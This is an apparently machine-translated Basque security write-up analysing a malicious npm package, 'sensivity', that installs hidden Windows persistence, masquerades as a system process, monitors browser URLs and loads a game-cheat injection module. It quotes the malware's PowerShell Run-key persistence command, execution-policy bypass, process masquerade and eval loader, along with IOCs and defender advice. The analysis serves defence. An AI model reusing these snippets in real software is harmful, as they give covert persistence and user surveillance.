PairLoop: npm paketean ezkutatutako urrutiko aginte panela

PairLoop: npm pakete bat, hirurogeita hamar bertsio eta ezkutuko Windows urruneko kontrol panel bat

TL; DR

Npm paketea sentikortasuna "Sentsibilitate Kontrol Panel" gisa deskribatzen du bere burua. Windows-en urrutiko kontrol eta zaintza tresna gisa jokatzen du.

Bere sarrera puntua, launcher.js, bere prozesua Runtime Broker izenaz aldatzen du, autostart Run-key izeneko balio bat idazten du OneDriveUpdate paketea VBScript ezkutu baten bidez berrabiarazten duena, PowerShell sortzen duena -ExecutionPolicy Bypass, eta ondoren 171 KB-ko zerbitzari-zama nahasi bat ebaluatzen du 6.87 MB-ko jatorrizko modulu batekin batera, sens.node.

Telefonoak parekatzeko kontrol panel bat zerbitzatzen du 3000 TCP atakan eta arakatzaile aktiboaren helbide barraren URLa irakurtzen du Windows UIAutomation bidez, YouTube bideo finko bat zain.

Lehen kutxa beltz gisa uzten ziren bi zati konpondu dira orain. Zerbitzari nahasia, server.obf.js, obfuscator.io RC4 string-array eskema bat erabiltzen du; bere dekodetzailea lineaz kanpo berriro inplementatzeak (JavaScript exekutatu gabe) kanpoko amaiera-puntu bakarra berreskuratzen du — https://izopi.com/check.php — sinatutako lizentzia-erantzunak egiaztatzeko erabiltzen den RSA gako publiko txertatu batekin batera.

Modulu natiboa, sens.node, ez dago paketatuta: bere inportazio taulak eta txertatutako kateek DirectX 11 / Dear ImGui joko barruko gainjartze gisa identifikatzen dute, aimbot, ESP (wall-hack) eta triggerbot funtzioak eskaintzen dituena, urruneko prozesuen injekzioak eta memoria irakurketa/idazketek bultzatuta.

Barruko kateek GTA V / FiveM-rekin bat datozen ibilgailuen entitateak eta maparen kokapenak aipatzen dituzte. npm paketea modulu natibo horren inguruko entrega eta iraunkortasun bilgarria da.

Seinale definitzailea operatiboa da, ez teknikoa: argitaratzaile anonimo bakar batek pakete baten hirurogeita hamar bertsio inguru kaleratu zituen — 2.5.0tik 2.5.69era — egun batzuetan zehar, bakoitzak jaurtigailu bera eramanez.

Ez dago instalaziorik. hooksPaketea abiarazten denean bakarrik exekutatzen da karga.

Erasoa: Nola funtzionatzen duen

sentivity-k hamar fitxategi bidaltzen ditu. package.json fitxategia urria da: ez dago biltegi-eremurik, ez dago lizentziarik, main alias bat eta bi bin alias (sensitivity, sens) guztiak launcher.js-ra seinalatzen dituztenak, eta launcher.js nodoaren hasierako script bat. Ez dago postinstalaziorik edo aurreinstalaziorik. Ez da ezer abiarazten npm instalazioan. Jarraian deskribatutako portaera exekutatzen da erabiltzaile batek paketea abiarazten duenean — bin shim-aren, hasierako script-aren edo require baten bidez.

Tarball-ak abiarazlea, zerbitzari nahasi bat, modulu natiboa, Visual Basic script bat eta kontrol panelerako public/ web direktorio bat ditu. launcher.js irakurgarria den orkestratzailea da; exekuzio-garaian garrantzitsua den logika kargatzen dituen bi blob-etan dago: zerbitzari nahasi bat eta modulu natiboa konpilatu bat, biak behean ebatzita.

 Prozesuaren maskara eta OneDrive eguneratzaile faltsu bat

Exekuzioaren hasieran launcher.js-ek bere prozesuaren izena bi aldiz ezartzen du:

   javascript process.title = 'Runtime Broker'; 

Runtime Broker aplikazioen baimenak bitartekatzen dituen Windows prozesu legitimo bat da (RuntimeBroker.exe). Node prozesu baten izena aldatzeak esan nahi du Zereginen kudeatzaileari begirada azkar batek ez duela ezer ezohikorik erakusten.

Iraunkortasuna PowerShell bidez idazten da, erregistroko API zuzen baten ordez:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Abiarazte automatikoaren balioa OneDriveUpdate izena du, eta ez du zuzenean paketera seinalatzen. OneDrive.Standalone.Updater.vbs paketea exekutatzen ari den wscript.exe fitxategira seinalatzen du. Script horrek nodo launcher.js berriro abiarazten du leiho ezkutu batean. Bai Exekutatu-gako izenak bai VBScript fitxategi-izenak Microsoft-en marka hartzen dute, beraz, abiarazteko automatikoaren sarrera OneDrive-ko ​​ohiko zeregin gisa irakurtzen da.

PowerShell exekuzio-politikaren saihesbidearekin

Abiarazleak behin eta berriz PowerShell-i bidaltzen dio informazioa. Eskanerrek kritiko gisa markatzen duten hustubidea exekuzio-politika desgaituta duen sortutako .ps1 baten abiaraztea da:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

ExecutionPolicy Bypass-ek deialdi horretarako tokiko script-sinadura egiaztapena kentzen du. Sortutako scriptek hurrengo atalean deskribatutako arakatzailearen zaintza eta leiho-detekzio lanak kudeatzen dituzte.

Zerbitzari nahasia eta bertako modulua

Konfiguratu ondoren, launcher.js-k bere benetako karga kargatu eta exekutatzen du:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

server.obf.js 171 KB-ko _0x-array ofuskapena da — JavaScript eredua non kate eta identifikatzaile bakoitza indize batez ordezkatzen den array nahastu batean, eta gero exekuzio-garaian erreferentzia kentzen zaio. Eskema obfuscator.io-k sortutako RC4 aldaera da: deskodetzaile funtzio bakar batek base64-deskodetzen du array sarrera bat eta gero RC4-deskodetzen du dei bakoitzeko gako batekin. Deskodetzaile hori script bereizi batean berriro inplementatzeak — erauztutako 821 sarrerako kate arrayaren gainean berriro inplementazioa soilik exekutatzea, inoiz ez paketearen JavaScript propioa — garbi askatzen du. Azalean dagoena apala da baina decisive: kanpoko URL bat, https://izopi.com/check.php`, LICENSE_URL konstante bati esleituta; txertatutako RSA PUBLIC_KEY_PEM` bat; tokiko panelaren /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off eta /trigger/status ibilbideak; eta kargatutako child_process, crypto eta [Sensivity] sens.node kateak — azken hau abiarazleak kargatutako programa modulura berridazten duen erregistro-lerro zehatza izanik. Amaiera-puntua lizentzia-egiaztapen bat da: bezeroak identifikatzaile bat argitaratzen du (nahasitako zerbitzariak Discord ID bat formateatzen du: %s kate bat) eta RSA gakoak zerbitzariaren sinatutako erantzuna egiaztatzen du.

sens.node 6.87 MB-ko konpilatutako gehigarri natiboa da, eta ez dago paketatuta — atalaren entropia 5.6–6.6-n dago eta PE inportazio eta esportazio taulak osorik daude, beraz, bere gaitasunak zuzenean irakur daitezke. napi_register_module_v1 esportatzen du, standard N-API nodoaren sarrera puntua, beraz, ebaluatutako zerbitzariak eskakizun soil batekin kargatzen du. Bere inportazio taula tell-a da. KERNEL32-tik OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules eta Process32First/NextW ateratzen ditu — beste prozesu bat kokatzeko, barruan memoria esleitzeko eta memoria hori irakurtzeko edo idazteko multzo kanonikoa. USER32-tik GetAsyncKeyState, GetKeyState, mouse_event eta SetCursorPos ateratzen ditu; d3d11.dll, D3DCOMPILER_43 eta dwmapi lotzen ditu pantailan gainjartzeko, eta WINHTTP multzo osoa sareko deietarako. Txertatutako kateek funtzio multzoa anbiguotasunik gabe izendatzen dute: Gaitu Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detektatua eta Dear ImGui bannerra Dear ImGui 1.91.3 WIP. Kokapen eta entitate kateak, hala nola Grapeseed Medical Clinic eta ibilgailu-ESP hiztegia, GTA V / FiveM-rekin bat datoz.

Banaketa nahita egin da, funtsean: launcher.js irakurgarriak eskaner batek erraz irakurtzen dituen atalak bakarrik daramatza —iraunkortasuna, maskaratzea, eval deia bera—, nahasteak kanpoko ostalari bakarra, exekuzio-denbora kontaktuak, ezkutatzen dituen bitartean, eta binarioak jokoaren gainjartzea eta prozesuen injekzio logika ditu. Abiarazlea shell mehe eta ikuskagarria da; nahasitako zerbitzariak sarearen identitatea ezkutatzen du; jatorrizko modulua da karga. Bitarraren inportazioak eta kateak irakurrita deskribatzen ditugu; ez dugu operadorearen helburua horietatik ondorioztatzen.

 Telefono parekatzeko kontrol panela 3000 portuan

Abiarazleak 3000 TCP atakan tokiko web zerbitzari bat kudeatzen du eta singleton gisa tratatzen du. Dagoeneko dagoen entzule baten bila dabil eta lotu aurretik garbitzen du:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Panela http://localhost:3000 helbidean eskura daiteke, eta http://192.168.1.16:3000 LAN ordezko URL finko batekin. `public/` direktorioa eta panelaren portaera QR parekatze-fluxu batekin bat datoz: telefono batek kode bat eskaneatzen du eta ostalariari lotzen zaio urruneko aginte gisa. Ez da kanpoko komando- eta kontrol domeinurik agertzen abiarazlean testu garbian, baina, goiko desofuskazioak erakusten duen bezala, bat dago ofuskatutako zerbitzarian: izopi.com lizentziaren amaiera-puntua. Panela bera lokala da eta LAN esparrukoa; irteerako ostalari bakarra lizentzia-egiaztapen hori da.

Gainbegirale/langile eredu bereizi batek prozesua bizirik mantentzen du. Abiarazleak bere burua berriro sortzen du SENSIVITY_SUPERVISOR eta SENSIVITY_WORKER ingurune-banderekin, haur bakoitza ezkutuan exekutatzen denez, prozesu bat hiltzean zaindari bat geratzen da berrabiarazteko.

Nabigatzailearen zaintza eta YouTube seinalea

Portaerarik espezifikoena arakatzailearen monitorizazioa da. launcher.js-k PowerShell eraikitzen du, eta horrek Windows UIAutomation bultzatzen du exekutatzen ari den arakatzailearen helbide-barra irakurtzeko:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

ValuePattern-ek UI elementu baten testu edukia itzultzen du. Arakatzailearen helbide-barrako edizio-kontrolean aplikatuta, biktimak une honetan ikusten ari den URLa itzultzen du — arakatzailearen luzapenik gabe, diskoko profila ukitu gabe eta API hook-ik gabe. Sortutako script-ak $browserNames zerrenda bat iteratatzen du eta aurreko planoan dagoen arakatzailearen URLa edo leiho-izenburua ateratzen du.

URL hori helburu bakar baten aurka probatzen da:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Abiarazleak hiru segundoko begizta batean galdekatzen du YouTube erakusten duen arakatzailearen leiho bat, eta sortutako PowerShell-ak bideo ID horrekin bat datorren Get-YouTubeBrowser / Test-TargetYouTubeUrl bikotea darama. Beha daitekeen efektua bikoitza da: arakatze aktiboaren URLa biktimaren pantailatik irakurtzen da, eta ostalariak YouTube bideo espezifiko batekin duen interakzioa detektatzen da. Mekanismoa eta helburua deskribatzen ditugu; ez dugu horietatik motiborik ondorioztatzen.

Helbide-barrako irakurketa eskanerrak sensitive_data_enumeration etiketatzen duena da — Process::env eta UIAutomation iturburu bat, sarean sartzeko gai den exekuzio-denbora bat elikatzen duena. Isolatuta itxura onbera du eta zaintza bihurtzen da datuen bizi-zikloa UIAutomation iturburutik zerbitzari nahasira jarraitzen denean bakarrik.

Denbora-lerroa eta bertsioaren bilakaera

Sentikortasuna ez da igoera bakarrekoa. Argitaratzailearen kontuak pakete bakar honen hirurogeita hamar bertsio argitaratu ditu gutxi gorabehera, eta berriak iristen joan dira berrikuspen leihoan zehar. Abiarazlea ezaugarriz ezaugarri hazten ari da 2.5.x lerroan zehar, bere iraunkortasuna eta karga finko mantentzen diren bitartean.

Data (UTC) Behatutako bertsioak Abiarazlearen egoera
2026-06-02 2.5.8 - 2.5.46 (25) Oinarrizko QR panel abiarazlea; Exekuzio-teklaren iraunkortasuna; nahasitako zerbitzariaren ebaluazioa.
2026-06-03 2.5.53 - 2.5.61 (6) Hatz-marka bera; kontsolako arrastoen ezabapena.
2026-06-04 2.5.67, 2.5.68 (2) Gehitu finkatutako YouTubeko interakzio-helburua wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Hutsuneak betetzeko berrargitalpena sorta osoan; gainbegirale/langileen zaindaria.

Deskargatutako ordezkarien artean abiarazlea irakurtzean — 2.5.0, 2.5.36 eta 2.5.69 — lau maila ikusten dira. Lehenengo bertsioek oinarrizko QR parekatze abiarazlea dute. 2.5.33tik aurrera UIAutomation helbide-barraren biltzailea agertzen da. 2.5.58tik aurrera gainbegirale-kudeaketa geruza bat gehitzen da. 2.5.64tik aurrera gainbegirale/langile zaindari independenteak osatzen du multzoa. Bitartean, lau gauza ez dira inoiz aldatzen: OneDriveUpdate Run gakoa, OneDrive.Standalone.Updater.vbs dropperra, ebaluatutako server.obf.js eta sens.node natibo modulua.

2026-06-05eko olatua nabarmena da bertsio-zenbaki baxuak berriro argitaratu zituelako —2.5.0tik 2.5.15era—, egun batzuk lehenago baieztatutako bertsioen azpitik daudenak. Efektua erregistroan 2.5.x lerro jarraitua da, bertsio guztiek abiarazle bera dutelarik.

Konpromisoaren adierazleak

Beheko adierazle guztiak zuzenean paketearen tarball-etik irakurri dira. Irakurgarria den abiarazleak loopback-a eta LAN helbide pribatu bakarra baino ez ditu; kanpoko hostname bakarra, izopi.com, server.obf.js lineaz kanpo desofuskatuz berreskuratu da.

Mota Adierazlea Oharrak
Package npm:sensivity (≈70 bertsio, 2.5.0-2.5.69) Pakete bakarreko argitaratzailea; biltegirik gabe; lizentziarik gabe.
File launcher.js Irakurgarria den orkestratzailea; helburu nagusia eta bin-a.
File server.obf.js (≈171 KB) obfuscator.io RC4 string-array karga, honen bidez kargatuta eval(fs.readFileSync(...)).
File sens.node (≈6.87 MB) PE32+ x86-64 Nodoaren N-API gehigarria; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
File OneDrive.Standalone.Updater.vbs Berrabiarazle ezkutua (node launcher.js).
Sarea https://izopi.com/check.php Lizentzia/baimen amaiera-puntua zerbitzari nahasi batetik berreskuratua; txertatutako RSA gako publikoak erantzunak egiaztatzen ditu.
Ahalmen OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Urruneko prozesuen injekzioa eta memorian irakurtzeko/idazteko gaitasuna.
Ahalmen Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP DirectX 11 / ImGui jokoaren gainjartzea, aimbot, ESP eta triggerbot funtzioak inplementatzen dituena.
Erregistroan HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Abiarazte automatikoaren balioa seinalatzen duena wscript.exe eta VBScript abiarazlea.
Prozesua process.title = 'Runtime Broker' Windows Runtime Broker prozesu legitimoaren mozorroa egiten du.
Jokabidearen powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Sortutako PowerShell script-etarako exekuzio-politikaren saihesbidea erabili da.
Jokabidearen UIAutomation ValuePattern arakatzailearen helbide-barra irakurtzea Aurreko planoan dagoen arakatzailearen leihoaren URLa irakurtzen du.
Jokabidearen Helburuko bideoaren IDa wJWta2lO0Lw; 3 segundoko YouTube inkesta Finkatutako konpromiso-monitorizazio seinalea.
Sarea http://localhost:3000, ordezko http://192.168.1.16:3000 QR parekatze kontrol panela lokalean eta LANean ikusgai.
Ingurumena SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Zaintza-prozesuaren koordinazio-bandera bereiziak.

Aitortza, Eragina eta Defendatzaileak

Paketea npm kontu bakar batek argitaratzen du, eta adierazitako posta elektronikoa Gmail helbide egiaztatu gabe bat da. Kontuak erregistroko ospe puntuazio oso negatiboa du, pakete hau bakarrik mantentzen eta argitaratzen du, eta ez du iturburu biltegirik lotuta. Ez dugu posta elektronikoaren jabetza egiaztatu eta kanpaina argitaratzaile kontuari egozten diogu, ez inongo pertsonari. Abiarazleak ez du testu garbiko azpiegiturarik, baina kanpoko ostalari bakarra ezagutzen da orain: zerbitzari nahasiak izopi.com-ekin harremanetan jartzen da lizentzia egiaztatzeko, eta jatorrizko modulua —bere inportazio taulatik eta kateetatik irakurrita, alderantzizko instrukzioz instrukzio— beste prozesu baten memorian injektatzen eta irakurtzen duen joko gainjartze bat da.

Eragin nabarmena kontrol-panelaren utilitate baten zain sentikortasuna instalatu eta exekutatzen duten Windows erabiltzaileengan gertatzen da. Ostalari horietan, paketeak OneDrive zeregin baten moduan mozorrotutako autoabiarazte-iraunkortasuna ezartzen du, sistemaren prozesu bat imitatzeko izena aldatzen du, erabiltzaileak arakatzen ari denaren URLa irakurtzen du eta makina sare lokalaren bidez urruneko kontrol bati lotzen dion parekatze-panel bat ezartzen du. Gainbegirale/langilearen zaindariak esan nahi du prozesu bakar baten itxierak ez duela kentzen; Exekutatu-tekla sarrerak berrabiaraztean bizirik dirau. macOS eta Linux ez dira abiarazleak erasotzen — iraunkortasuna, PowerShell eta UIAutomation bideak Windows-erako soilik dira.

Hirurogeita hamar bertsioen aldaketa da salatzeko moduko joera. Pakete bat dozenaka aldiz berriro argitaratzeak egun gutxitan, kendutakoen azpiko bertsio-zenbakiak betetzea barne, erregistroan kopia bizia mantentzen du ezabatzeen artean eta bertsio-blokeatutako bloke-zerrendak zapuzten ditu. sensitivity@2.5.61-erako bloke-zerrendako sarrerak ez du ezer egiten sensitivity@2.5.3 hurrengo egunean berriro argitaratzearen aurka.

Defentsoreek honako hauei jarraiki jardun dezakete:

  • Blokeatu pakete-izenaren sentikortasuna erabat erregistro-proxyan eta CI baimendutako zerrendetan. Bertsio indibidualak finkatzeak berrargitaratze-kadentziaren kaltea eragiten du; izena da iraunkortasunaren adierazlea.
  • Bilatu OneDriveUpdate izeneko exekuzio-balio bat, zeinaren datuek wscript.exe abiarazten duten erabiltzaile bakoitzeko bideko .vbs baten aurka. Benetako OneDrive eguneratzailea ez dago modu honetan erregistratuta.
  • Node.js prozesu bati buruzko alerta, zeinaren process.title Runtime Broker den. Benetako brokerra RuntimeBroker.exe da, ez Node runtime bat.
  • Markatu konpilatutako .node gehigarri bat gehi anaia-.obf.js fitxategi baten eval(fs.readFileSync(…)) bat dakartzan paketeen npm instalazio-garaiko bilaketak. Bikote hori — testu-zama nahasi baten ondoan kargatutako jatorrizko binario opakoa — da hemengo egitura-seinalea, edozein IOC katearekiko independentea.
  • Kudeatutako Windows amaiera-puntuetan susmagarri gisa tratatu Node prozesu ustekabe batek sortutako 3000 portuan tokiko entzule oro.
  • Blokeatu edo alertatu garatzaile edo azken erabiltzaileen ostalarietatik izopi.com-era egiten diren irteerako eskaerak; paketearen kanpoko amaiera-puntu bakarra da, /check.php helbidean nahasitako zerbitzaritik iristen dena.
  • Edozein .node gehigarri paketearentzat, egiaztatu bere inportazio taula fidatu aurretik. OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread konbinazioa urruneko prozesuen injekzioa da, paketeak zer egiten duela dioen kontuan hartu gabe; hemen Direct3D gainjartze baten eta aimbot/ESP/triggerbot kateen ondoan dago.

Analisi estatikorako pipelines, uste sendoaren forma iraunkorra da bertsioen txandakatzean zehar: saretik kanpoko instalazio-profila, prozesu-izenburua sistema-prozesu izen ezagun bati esleitzea, PowerShell bidezko exekuzio-gako idazketa eta diskotik irakurritako fitxategi baten ebaluazioa. Horietako batek ere ez du domeinu, IP edo hurrengo berrargitalpenak kendu dezakeen bertsio-zenbaki baten mende.

 Erreferentziak

[npm: sentikortasuna] – hemen eztabaidatutako pakete bertsio lerroaren erregistro orria; kentzeko menpe.

sca-tools-software-konposizio-analisi-tresnak
Lehentasuna eman, konpondu eta babestu zure software arriskuak
Lortu zure doako kontua.
Ez da beharrezkoa kreditu txartelik.

Ziurtatu zure softwarearen garapena eta entrega

Xygeni produktu multzoarekin